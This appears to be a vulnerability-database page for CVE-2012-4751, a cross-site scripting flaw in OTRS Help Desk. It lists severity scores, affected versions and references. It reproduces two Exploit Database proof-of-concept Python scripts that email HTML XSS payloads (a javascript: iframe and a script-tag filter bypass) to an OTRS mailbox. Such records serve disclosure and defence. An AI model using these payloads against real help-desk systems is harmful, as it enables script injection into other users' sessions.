CVE-2012-4751 : Detail

CVE-2012-4751

Cross-site Scripting
A03-Injection
0.55%V3
Network
2012-10-22
14h00 +00:00
2013-01-29
09h00 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Cross-site scripting (XSS) vulnerability in Open Ticket Request System (OTRS) Help Desk 2.4.x before 2.4.15, 3.0.x before 3.0.17, and 3.1.x before 3.1.11 allows remote attackers to inject arbitrary web script or HTML via an e-mail message body with whitespace before a javascript: URL in the SRC attribute of an element, as demonstrated by an IFRAME element.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 22070

Publication date : 2012-10-17 22h00 +00:00
Author : Mike Eduard
EDB Verified : Yes

#!/usr/bin/python ''' Author: Mike Eduard - Znuny - Enterprise Services for OTRS Product: OTRS Open Technology Real Services Version: 3.1.8, 3.1.9 and 3.1.10 Vendor Homepage: http://otrs.org CVE: 2012-4751 Timeline: 03 Sep 2012: Vulnerability reported + fix to vendor 04 Sep 2012: Vulnerability reported to CERT 05 Sep 2012: Response received from CERT 28 Sep 2012: Update from vendor to have it fixed and released on 16 Oct 2012 16 Oct 2012: Update: vulnerability patched http://www.kb.cert.org/vuls/id/603276 http://znuny.com/#!/advisory/ZSA-2012-03 http://www.otrs.com/en/open-source/community-news/security-advisories/security-advisory-2012-03/ 17 Oct 2012: Public Disclosure Installed On: Windows Server 2008 R2 & Open SUSE 12.1 Client Test OS: Window 7 Pro SP1 (x86) Browser Used: Firefox 14+16 & Opera 12.01 Injection Point: HTML Email Injection Payload(s): 1: <iframe src=" javascript:alert('XSS Exploit');"></iframe> ''' import smtplib, urllib2 payload = """ <iframe src=" javascript:alert('XSS Exploit');"></iframe> """ def sendMail(dstemail, frmemail, smtpsrv, username, password): msg = "From: [email protected]\n" msg += "To: [email protected]\n" msg += 'Date: Today\r\n' msg += "Subject: Offensive Security\n" msg += "Content-type: text/html\n\n" msg += "XSS" + payload + "\r\n\r\n" server = smtplib.SMTP(smtpsrv) server.login(username,password) try: server.sendmail(frmemail, dstemail, msg) except Exception, e: print "[-] Failed to send email:" print "[*] " + str(e) server.quit() username = "[email protected]" password = "123456" dstemail = "[email protected]" frmemail = "[email protected]" smtpsrv = "127.0.0.1" print "[*] Sending Email" sendMail(dstemail, frmemail, smtpsrv, username, password)
Exploit Database EDB-ID : 20959

Publication date : 2012-08-30 22h00 +00:00
Author : Mike Eduard
EDB Verified : No

#!/usr/bin/python ''' Author: Mike Eduard - Znuny - Enterprise Services for OTRS Product: OTRS Open Technology Real Services Version: 3.1.8 and 3.1.9 Vendor Homepage: http://otrs.org CVE: 2012-4600 Timeline: 22 Aug 2012: Vulnerability reported to vendor and CERT 23 Aug 2012: Response received from CERT and vendor 28 Aug 2012: Update from vendor to have it fixed and released on 30 Aug 2012 30 Aug 2012: Update: vulnerability patched http://www.kb.cert.org/vuls/id/511404 http://znuny.com/#!/advisory/ZSA-2012-02 http://www.otrs.com/en/open-source/community-news/security-advisories/security-advisory-2012-02/ 31 Aug 2012: Public Disclosure Installed On: Windows Server 2008 R2 & Open SUSE 12.1 Client Test OS: Window 7 Pro SP1 (x86) Browser Used: Firefox 14 & Opera 12.01 Injection Point: HTML Email Injection Payload(s): 1: <s<script>...</script><script>...<cript type="text/javascript"> 2: document.write("Hello World!"); 3: alert('Mike was here!');; 4: </s<script>//<cript> ''' import smtplib, urllib2 payload = """<s<script>...</script><script>...<cript type="text/javascript"> document.write("Hello World!"); alert(123);; </s<script>//<cript> """ def sendMail(dstemail, frmemail, smtpsrv, username, password): msg = "From: [email protected]\n" msg += "To: [email protected]\n" msg += 'Date: Today\r\n' msg += "Subject: Offensive Security\n" msg += "Content-type: text/html\n\n" msg += "XSS" + payload + "\r\n\r\n" server = smtplib.SMTP(smtpsrv) server.login(username,password) try: server.sendmail(frmemail, dstemail, msg) except Exception, e: print "[-] Failed to send email:" print "[*] " + str(e) server.quit() username = "[email protected]" password = "123456" dstemail = "[email protected]" frmemail = "[email protected]" smtpsrv = "127.0.0.1" print "[*] Sending Email" sendMail(dstemail, frmemail, smtpsrv, username, password)

Products Mentioned

Configuraton 0

Otrs>>Otrs >> Version 2.4.0

Otrs>>Otrs >> Version 2.4.0

Otrs>>Otrs >> Version 2.4.0

Otrs>>Otrs >> Version 2.4.0

Otrs>>Otrs >> Version 2.4.0

Otrs>>Otrs >> Version 2.4.0

Otrs>>Otrs >> Version 2.4.1

Otrs>>Otrs >> Version 2.4.2

Otrs>>Otrs >> Version 2.4.3

Otrs>>Otrs >> Version 2.4.4

Otrs>>Otrs >> Version 2.4.5

Otrs>>Otrs >> Version 2.4.6

Otrs>>Otrs >> Version 2.4.7

Otrs>>Otrs >> Version 2.4.8

Otrs>>Otrs >> Version 2.4.9

Otrs>>Otrs >> Version 2.4.10

Otrs>>Otrs >> Version 2.4.11

Otrs>>Otrs >> Version 2.4.12

Otrs>>Otrs >> Version 2.4.13

Otrs>>Otrs >> Version 2.4.14

Configuraton 0

Otrs>>Otrs >> Version 3.0.0

Otrs>>Otrs >> Version 3.0.0

Otrs>>Otrs >> Version 3.0.0

Otrs>>Otrs >> Version 3.0.0

Otrs>>Otrs >> Version 3.0.0

Otrs>>Otrs >> Version 3.0.0

Otrs>>Otrs >> Version 3.0.0

Otrs>>Otrs >> Version 3.0.1

Otrs>>Otrs >> Version 3.0.2

Otrs>>Otrs >> Version 3.0.3

Otrs>>Otrs >> Version 3.0.4

Otrs>>Otrs >> Version 3.0.5

Otrs>>Otrs >> Version 3.0.6

Otrs>>Otrs >> Version 3.0.7

Otrs>>Otrs >> Version 3.0.8

Otrs>>Otrs >> Version 3.0.9

Otrs>>Otrs >> Version 3.0.10

Otrs>>Otrs >> Version 3.0.11

Otrs>>Otrs >> Version 3.0.12

Otrs>>Otrs >> Version 3.0.13

Otrs>>Otrs >> Version 3.0.14

Otrs>>Otrs >> Version 3.0.15

Otrs>>Otrs >> Version 3.0.16

Configuraton 0

Otrs>>Otrs >> Version 3.1.0

Otrs>>Otrs >> Version 3.1.1

Otrs>>Otrs >> Version 3.1.2

Otrs>>Otrs >> Version 3.1.3

Otrs>>Otrs >> Version 3.1.4

Otrs>>Otrs >> Version 3.1.5

Otrs>>Otrs >> Version 3.1.6

Otrs>>Otrs >> Version 3.1.7

Otrs>>Otrs >> Version 3.1.8

Otrs>>Otrs >> Version 3.1.9

Otrs>>Otrs >> Version 3.1.10

References

http://www.securityfocus.com/bid/56093
Tags : vdb-entry, x_refsource_BID
http://www.kb.cert.org/vuls/id/603276
Tags : third-party-advisory, x_refsource_CERT-VN